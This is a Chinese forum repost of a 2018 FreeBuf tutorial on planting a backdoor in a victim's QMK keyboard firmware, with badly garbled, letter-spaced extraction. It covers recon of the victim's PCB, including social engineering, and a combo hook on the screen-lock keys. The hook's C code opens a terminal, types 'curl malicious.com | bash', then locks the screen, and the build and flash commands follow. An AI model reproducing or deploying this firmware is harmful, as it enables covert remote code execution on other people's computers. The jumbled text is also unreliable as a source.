搜索

[13597] 2018-12-31_QMKhuehuebr：QMK键盘固件后门

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-18
2018-12-31_QMKhuehuebr：QMK键盘固件后门 Q M K h u e h u e b r ： Q M K 键 盘 固 件 后 门 周 大 涛   F r e e B u f   2 0 1 8 - 1 2 - 3 1 这 个 文 章 将 教 你 如 何 使 用 这 个 文 章 将 教 你 如 何 使 用 q m k 固 件 在 键 盘 上 创 建 一 个 固 件 在 键 盘 上 创 建 一 个 “ 后 门 后 门 ” 。 。 什 么 是 什 么 是 Q M K ？ ？ 它 是 一 个 开 源 键 盘 固 件 ， 可 以 阅 读 文 档 获 取 更 多 信 息 。 这 个 这 个 “ 后 门 后 门 ” 如 何 操 作 ？ 如 何 操 作 ？ 后 门 挂 钩 使 用 q m k 组 合 功 能 , 比 如 屏 幕 锁 定 的 一 组 击 键 ， 因 此 当 用 户 锁 定 计 算 机 时 ， 它 将 击 键 注 入 目 标 计 算 机 。 获 得 获 得 S h e l l K e y b o a r d   R e c o n 最 重 要 的 一 步 就 是 识 别 受 害 者 键 盘 使 用 的 P C B 。 我 们 可 以 通 过 以 下 几 种 方 式 完 成 ： 1 . 社 会 工 程 学 2 . 打 开 k e y b o a r d c a s e 3 . 成 为 键 盘 大 佬 获 取 获 取 Q M K 固 件 项 目 固 件 项 目 启 用 和 配 置 组 合 功 能 启 用 和 配 置 组 合 功 能 假 设 现 在 您 已 获 取 受 害 者 的 键 盘 P C B ， 转 到 然 后 在 文 件 的 最 后 一 行 添 加 ， 然 后 还 要 修 改 文 件 下 面 几 行 ： 变 量 是 您 将 配 置 的 挂 钩 的 数 量 ， 是 固 件 检 测 键 组 合 的 毫 秒 时 间 。 创 建 创 建 H O O K 然 后 将 默 认 密 钥 映 射 复 制 并 新 建 一 个 名 为 k e y l o g g e r 的 密 钥 映 射 编 辑 文 件 并 在 " 行 后 插 入 恶 意 代 码 ， 您 需 要 做 的 第 一 件 事 是 使 用 您 的 钩 子 名 称 创 建 一 个 枚 举 函 数 ： 然 后 你 需 要 设 置 你 想 挂 钩 的 组 合 键 ， 在 这 个 例 子 中 让 我 们 挂 钩 锁 定 屏 幕 ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / q m k / q m k _ f i r m w a r e . g i t c d   q m k _ f i r m w a r e u t i l / ( l i n u x | m a c o s ) _ i n s t a l l . s h q m k _ f i r m w a r e / k e y b o a r d s / < P C B _ M O D E L > / r u l e s . m k C O M B O _ E N A B L E   =   y e s c o n f i g . h # d e f i n e   C O M B O _ C O U N T   1 # d e f i n e   C O M B O _ T E R M   3 0 0 C O M B O _ C O U N T C O M B O _ T E R M c d   q m k _ f i r m w a r e / k e y b o a r d s / < P C B _ M O D E L > / k e y m a p s m k d i r   k e y l o g g e r c p   - R   d e f a u l t / *   k e y l o g g e r c d   k e y l o g g e r / k e y m a p . c # i n c l u d e   " a c t i o n _ l a y e r . h e n u m   c o m b o _ e v e n t s   {     L O C K _ S C R E E N } W I N   +   L c o n s t     u i n t 1 6 _ t   P R O G M E M  
如 果 您 想 挂 钩 其 他 键 ， 只 需 查 看 q m k 文 档 页 面 ， 您 可 以 在 其 中 找 到 包 含 所 有 密 钥 代 码 的 列 表 。 采 取 行 动 采 取 行 动 现 在 编 码 的 最 后 一 部 分 是 在 固 件 检 测 到 H O O K 时 添 加 动 作 ， 为 了 做 到 这 一 点 ， 让 我 们 继 续 编 辑 并 声 明 负 责 检 测 和 注 入 的 函 数 ： 编 译 代 码 编 译 代 码 返 回 q m k 项 目 根 目 录 并 运 行 ： 如 果 没 有 错 误 ， 你 做 的 一 切 都 正 确 ， 并 准 备 好 继 续 前 进 。 引 导 模 式 引 导 模 式 要 将 键 盘 置 于 引 导 模 式 ， 请 按 照 Q M K 指 令 操 作 编 写 恶 意 固 件 编 写 恶 意 固 件 只 需 运 行 命 令 ： 现 在 ， 经 过 所 有 这 些 步 骤 ， 您 已 成 功 感 染 了 受 害 者 的 键 盘 。 了 解 有 关 Q M K 的 更 多 信 息 P o c P o C 使 用 x d 6 0   P C B 视 频 地 址 l o c k _ s c r e e n _ c o m b o   [ ]   =   { K C _ L G U I ， K C _ L ， C O M B O _ E N D } ; k e y m a p . c v o i d   p r o c e s s _ c o m b o _ e v e n t ( u i n t 8 _ t   c o m b o _ i n d e x ,   b o o l   p r e s s e d )   {     s w i t c h ( c o m b o _ i n d e x )   {         c a s e   L O C K _ S C R E E N _ X :             i f   ( p r e s s e d )   {                 / /   S E N D   T H E   C O M B I N A T I O N   K E Y S   T O   O P E N   T E R M I N A L   W I N + E N T E R                 r e g i s t e r _ c o d e ( K C _ L G U I ) ;                 r e g i s t e r _ c o d e ( K C _ E N T E R ) ;                 / /   R E L E A S E   T H E   K E Y S   T O   O P E N   T H E   T E R M I N A L                 u n r e g i s t e r _ c o d e ( K C _ E N T E R ) ;                 u n r e g i s t e r _ c o d e ( K C _ L G U I ) ;                 / / W A I T   5 0 0   M I L L I S E C O N D S   F O R   T H E   T E R M I N A L   O P E N                 _ d e l a y _ m s ( 5 0 0 ) ;                 / / S E N D   C O M M A N D   U S I N G   T H E   M A C R O   S E N D _ S T R I N G   W H I C H   S E N D S   K E Y C O D E   B Y   K E Y C O D E   W I T H O U T   D E L A Y                 S E N D _ S T R I N G ( " c u r l   m a l i c i o u s . c o m   |   b a s h   ;   e x i t "   S S _ T A P ( X _ E N T E R ) ) ;                 / / S E N D   T H E   O R I G I N A L   K E Y C O D E S   R E S P O N S I B L E   T O   L O C K   T H E   C O M P U T E R                 r e g i s t e r _ c o d e ( K C _ L G U I ) ;                 r e g i s t e r _ c o d e ( K C _ L ) ;                 / /   R E L E A S E   T H E   K E Y S   R E S P O N S I B L E   T O   L O C K   T H E   C O M P U T E R                 u n r e g i s t e r _ c o d e ( K C _ L ) ;                 u n r e g i s t e r _ c o d e ( K C _ L G U I ) ;             }     } b r e a k ; } m a k e   < K E Y B O A R D _ P C B > : k e y l o g g e r s u d o   m a k e   < K E Y B O A R D _ P C B > : k e y l o g g e r : d f u
参 考 来 源 g i t h u b ， 由 周 大 涛 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理